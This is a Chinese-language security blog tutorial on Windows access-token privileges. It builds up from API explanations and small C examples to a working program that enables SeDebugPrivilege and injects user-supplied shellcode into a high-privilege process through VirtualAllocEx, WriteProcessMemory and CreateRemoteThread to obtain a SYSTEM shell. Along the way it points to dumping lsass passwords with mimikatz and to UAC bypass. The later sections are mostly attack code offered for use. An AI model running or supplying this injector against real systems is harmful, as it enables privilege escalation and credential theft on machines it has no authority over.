WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

修改访问令牌

0X01 前置知识

程序要实现一些关键操作的时候需要有一定权限

可以使用下面的命令查看

1
whoami /priv

Windows中权限不同的用户就是令牌的不同,这篇文章先不写令牌是什么,主要实现用代码修改令牌并提权到SYSTEM

下面看一下普通用户和管理员的令牌

普通用户

只有五个特权

管理员

有好多,当然有些是禁用的

本次文章主要了解开启SeDebugPrivilege提权

有了这个特权之后就可以修改任意进程的内存,当然有进程保护的肯定不行,像杀软这种

主要的过程就是

开启SeDebugPrivilege->向高权限进程里面写入shellcode并执行->线程会继承进程的权限最后的得到一个高权限的shell

0x02 函数和结构

需要了解三个函数和两个结构

OpenProcessToken

1
2
3
4
5
6
7
8
BOOL OpenProcessToken(
HANDLE ProcessHandle,
//要修改令牌的进程的句柄,可以用OpenProcess得到
DWORD DesiredAccess,
//要对令牌进行的操作
PHANDLE TokenHandle
//指向一个句柄的指针,用于标识当函数返回时新打开的访问令牌,个人理解就是先把当前进程的令牌取出来,之后修改好了再放回去
);

这个函数就是得到一个进程的访问令牌然后放到第三个参数里面

当然如果这么想不对的话还请看到的师傅提醒,肯定会马上修改,提前谢谢了

这是关于第二个参数的文档

https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects

LookupPrivilegeValue

查看系统权限的特权值(怎么感觉就是得到Luid)

1
2
3
4
5
6
7
8
BOOL LookupPrivilegeValue(
LPCSTR lpSystemName,
//这个参数指向要获取特权值的系统名称,如果为NULL就是本地系统
LPCSTR lpName,
//指向特权名称,这些都是有宏定义的,可以看下面的截图
PLUID lpLuid
//每个特权在系统中都有一个Luid,这个值会返回上面特权的Luid
);

第二个参数的宏定义

这个LUID是一个结构

1
2
3
4
typedef struct _LUID {
DWORD LowPart;
LONG HighPart;
} LUID, *PLUID;

不过这个不用看,反正是返回在里面的

下面两个结构要看一下因为最后一个函数用得到

TOKEN_PRIVILEGES结构

1
2
3
4
5
6
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
//下面数组中的条数,具体也不知道干啥的,反正只修改一条就传1好了,传两条好像改成2也没用,可能是语法不对
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
//这也是个结构下面再看
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;

LUID_AND_ATTRIBUTES结构

1
2
3
4
typedef struct _LUID_AND_ATTRIBUTES {
LUID Luid; //就是Luid传进来
DWORD Attributes; //设置启用禁用或移除
} LUID_AND_ATTRIBUTES, * PLUID_AND_ATTRIBUTES;

看一下Attributes常用的值

含义
SE_PRIVILEGE_ENABLED 启用此特权
SE_PRIVILEGE_ENABLED_BY_DEFAULT 默认情况启用此特权
SE_PRIVILEGE_REMOVED 删除特权
None 禁用此特权

贴一下文档https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_privileges

AdjustTokenPrivileges

直接看就是调整令牌特权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,
//第一个函数的令牌句柄
BOOL DisableAllPrivileges,
//如果为TRUE禁用所有权限,FLASE则根据(NewState)下面这个参数指向的信息来修改权限
PTOKEN_PRIVILEGES NewState,
//传入TOKEN_PRIVILEGES结构的指针
DWORD BufferLength,
//给下面一个结构留一个多少大的空间用来返回
PTOKEN_PRIVILEGES PreviousState,
//传回没修改的TOKEN_PRIVILEGES结构
PDWORD ReturnLength
//实际传回的大小
);

下面三个参数用了之后一直报998,网上也找不到原因,看来看去这三个参数都是置零的,还有以为第四个参数是传第三个参数的大小的,不过问题不大,全部置零就好

0x03 代码实现

首先来看两个例子,可以更好明白

开启SeTimeZonePrivilege

看一下普通用户启用了哪些特权

只启用了一个,用下面的代码可以开启SeTimeZonePrivilege

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<Windows.h>
#include<stdio.h>

BOOL EnableSeTimeZonePrivilege(){
HANDLE Token;
LUID LuidValue = { 0 };
TOKEN_PRIVILEGES TP = { 0 };
BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
if (Aret == NULL) {
printf("GetTokenHandle Fail\n");
return FALSE;
}
BOOL Bret = LookupPrivilegeValue(NULL, SE_TIME_ZONE_NAME, &LuidValue);
if (Bret == NULL) {
printf("LookupPrivilegeValue Fail\n");
return FALSE;
}
TP.PrivilegeCount = 1;
TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid = LuidValue;
BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("AdjustToken Success\n");
return TRUE;
}
printf("AdjustToken Fail\n");
printf("ErrorCode: %d\n", GetLastError());
return FALSE;
}

int main() {
EnableSeTimeZonePrivilege();
system("cmd");
return 0;
}

通过打开的cmd再次查看特权

可以看到SeTimeZonePrivilege特权已开启

删除SeShutdownPrivilege

1
2
shutdown -r -t 10
shutdown -a

这条命令是十秒钟后系统重启

担心有些师傅去试,下面这条是解除这条命令

下面的代码可以关掉当前进程关机的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<Windows.h>
#include<stdio.h>

BOOL RemoveSeShutdownPrivilege(){
HANDLE Token;
LUID LuidValue = { 0 };
TOKEN_PRIVILEGES TP = { 0 };
BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
if (Aret == NULL) {
printf("GetTokenHandle Fail\n");
return FALSE;
}
BOOL Bret = LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &LuidValue);
if (Bret == NULL) {
printf("LookupPrivilegeValue Fail\n");
return FALSE;
}
TP.PrivilegeCount = 1;
TP.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
TP.Privileges[0].Luid = LuidValue;
BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("AdjustToken Success\n");
return TRUE;
}
printf("AdjustToken Fail\n");
printf("ErrorCode: %d\n", GetLastError());
return FALSE;
}

int main() {
RemoveSeShutdownPrivilege();
system("cmd");
return 0;
}

开启SeDebugPrivilege

其实上面两个看好的师傅可以尝试先写一写再来看

都差不多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<Windows.h>
#include<stdio.h>

BOOL EnableSeDebugPrivilege() {
HANDLE Token;
LUID LuidValue = { 0 };
TOKEN_PRIVILEGES TP = { 0 };
BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
if (Aret == NULL) {
printf("GetTokenHandle Fail\n");
return FALSE;
}
BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
if (Bret == NULL) {
printf("LookupPrivilegeValue Fail\n");
return FALSE;
}
TP.PrivilegeCount = 1;
TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid = LuidValue;
BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("AdjustToken Success\n");
return TRUE;
}
printf("AdjustToken Fail\n");
printf("ErrorCode: %d\n", GetLastError());
return FALSE;
}

int main() {
EnableSeDebugPrivilege();
system("cmd");
return 0;
}

SeDebugPrivilege是调试权限的程序,开启了这个特权之后可以可以读写SYSTEM启动的进程的内存

用mimikatz dump密码的时候需要先输入

1
privilege::debug

这句话的意思就是开启debug,这样才可以从SYSTEM启动的lsass.exe进程里面dump出明文密码

那现在可以读写高权限的进程,那就可以往高权限的进程里面写入shellcode,然后通过线程执行,这样得到shell和进程是同样权限的,就可以提权到SYSTEM

以管理员权限启动才可以开启DEBUG权限,可以尝试BypassUac得到管理员权限

0x04 进程注入+开启DEBUG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <stdio.h>
#include <windows.h>

BOOL EnableSeDebugPrivilege() {
HANDLE Token;
LUID LuidValue = { 0 };
TOKEN_PRIVILEGES TP = { 0 };
BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
if (Aret == NULL) {
printf("GetTokenHandle Fail\n");
return FALSE;
}
BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
if (Bret == NULL) {
printf("LookupPrivilegeValue Fail\n");
return FALSE;
}
TP.PrivilegeCount = 1;
TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid = LuidValue;
BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("AdjustToken Success\n");
return TRUE;
}
printf("AdjustToken Fail\n");
printf("ErrorCode: %d\n", GetLastError());
return FALSE;
}

int main(int argc, char* argv[]) {
EnableSeDebugPrivilege();
char* str = argv[1];
int code_len = strlen(str) / 2;
char char_in_hex;
unsigned char buf[1000];
for (int i = 0; i < code_len; i++) {
sscanf_s(str + 2 * i, "%2x", &char_in_hex);
buf[i] = char_in_hex;
}
int process_id = atoi(argv[2]); //在命令行获取输入的PID
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
//获取句柄

if (process) { //判断句柄获取是否成功
printf("OpenProcess Success\n");
LPVOID base_address; //定义一个空指针,用来放入VirtualAllocEx的返回值
base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (base_address) { //判断是否获取到地址
printf("base_address:%p\n", base_address);
//打印获取到的内存的地址

BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL);
if (ret) {
printf("WriteProcessMemory Success\n");
DWORD TH; //定义一个存放线程ID的变量
HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH); //注意第四个参数要强制类型转换
if (ThreadHandle) {
printf("ThreadInject Success");
}
else {
printf("ThreadInject Fail\n Error Code:%d", GetLastError());
}
}
else {
printf("WriteProcessMemory Fail\nError Code:%d", GetLastError());
}
}
else {
printf("VirtualAllocEx Fail\n");
}
}
else {
printf("OpenProcess Fail\n");
}
}

以管理员启动一个高权限CMD

注入高权限进程

得到SYSTEM的shell

0x05 总结

这个..注入完如果不想要这个shell了千万不要直接Exit,不然进程就结束了,如果运气不好系统可能就炸了..

挺好玩..